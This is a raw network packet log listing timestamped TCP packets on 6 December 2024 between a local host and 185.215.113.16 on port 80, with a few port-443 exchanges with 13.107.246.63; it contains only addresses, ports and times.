Dec 6, 2024 22:09:08.220598936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.221474886 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.221532106 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.221865892 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.221904993 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.222450018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.222502947 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.222660065 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.222698927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.223465919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.223541975 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.223697901 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.223745108 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.224489927 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.224529982 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.224598885 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.224638939 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.352312088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.352394104 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.352401972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.352442980 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.352569103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.352608919 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.352711916 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.352751017 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.353585958 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.353625059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.353754997 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.353795052 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.354630947 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.354669094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.355247021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.355285883 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.367063046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.367114067 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.367297888 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.367358923 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.367387056 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.367425919 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.367578030 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.367620945 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.367993116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.368040085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.368228912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.368267059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.369015932 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.369051933 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.369652987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.369697094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.370039940 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.370079041 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.370398998 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.370436907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.371078014 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.371089935 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.371118069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.371134043 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.372103930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.372143984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.372313976 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.372369051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.373085976 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.373125076 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.373667955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.373708010 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.374172926 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.374212980 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.374407053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.374459028 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.375164032 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.375205040 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.375436068 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.375473022 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.376218081 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.376250982 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.377091885 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.377140045 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.377300978 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.377311945 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.377337933 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.377351999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.378231049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.378289938 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.378369093 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.378407955 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.379259109 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.379302025 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.379364014 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.379404068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.380259037 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.380299091 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.380681992 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.380723953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.381282091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.381323099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.381398916 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.381436110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.382301092 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.382344007 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.383337021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.383368015 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.383409977 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.383553028 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.383579016 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.383589983 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.384344101 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.384382963 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.385014057 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.385055065 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.385405064 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.385416031 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.385443926 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.385461092 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.386389017 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.386435986 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.387454033 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.387465000 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.387494087 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.387528896 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.387669086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.387706995 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.388462067 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.388515949 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.389039993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.389076948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.389498949 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.389509916 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.389556885 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.389873028 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.390495062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.390537024 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.391005993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.391048908 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.391504049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.391546011 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.391789913 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.391834974 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.392529964 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.392574072 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.392888069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.392930031 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.393556118 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.393619061 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.393685102 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.393723965 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.394613981 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.394664049 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.395664930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.395677090 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.395709991 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.395720959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.395879030 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.395926952 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.396667004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.396707058 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.397084951 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.397125959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.397645950 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.397686958 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.397778034 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.397818089 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.398690939 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.398734093 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.398933887 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.398973942 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.399728060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.399774075 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.400170088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.400211096 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.400753021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.400764942 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.400791883 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.400804043 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.401765108 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.401802063 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.401887894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.401941061 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.402823925 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.402837038 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.402889013 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.403846979 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.403893948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.404195070 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.404242992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.404850960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.404864073 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.404897928 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.404908895 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.405868053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.405914068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.406094074 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.406140089 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.406903982 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.406918049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.406948090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.406965971 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.407866955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.407907963 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.408905029 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.408915997 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.408943892 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.408955097 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.409130096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.409171104 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.409953117 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.409996033 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.410805941 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.410847902 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.411406994 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.411448002 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.411534071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.411575079 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.411969900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.412010908 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.412096024 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.412259102 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.412959099 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.413005114 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.413876057 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.413917065 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.414084911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.414112091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.414139032 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.414146900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.415040970 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.415071964 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.415719032 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.415811062 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.416059017 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.416098118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.417021036 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.417058945 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.417161942 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.417171955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.417202950 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.417213917 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.425081015 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.425471067 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.462097883 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:08.485824108 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:08.485845089 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:08.487004995 CET	49836	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:08.487013102 CET	443	49836	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:08.533601046 CET	443	49837	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:08.540460110 CET	49837	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:08.540468931 CET	443	49837	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:08.542181015 CET	49837	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:08.542186975 CET	443	49837	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:08.544682980 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.544714928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.544756889 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.544859886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.545037031 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.545078039 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.545192003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.545224905 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.545337915 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.545381069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.546215057 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.546261072 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.546415091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.546459913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.547236919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.547283888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.559822083 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.559905052 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.560074091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.560117960 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.560339928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.560378075 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.560544968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.560581923 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.561336994 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.561379910 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.561495066 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.561536074 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.562531948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.562544107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.562568903 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.562592030 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.563384056 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.563442945 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.563504934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.563544035 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.564440966 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.564481020 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.564623117 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.564661026 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.565416098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.565450907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.565783978 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.565821886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.566437960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.566476107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.566545010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.566581011 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.567552090 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.567595959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.567677021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.567713976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.568515062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.568553925 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.568625927 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.568662882 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.569495916 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.569535971 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.569633007 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.569670916 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.570533037 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.570573092 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.570990086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.571033001 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.571566105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.571605921 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.571777105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.571819067 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.572650909 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.572663069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.572737932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.573640108 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.573683977 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.573735952 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.573782921 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.574671984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.574716091 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.574856043 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.574901104 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.575634003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.575675964 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.575843096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.575885057 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.576648951 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.576694012 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.576819897 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.576854944 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.577722073 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.577759981 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.577883005 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:08.577925920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:08.578727961 CET	80	49830	185.215.113.16	192.168.2.7
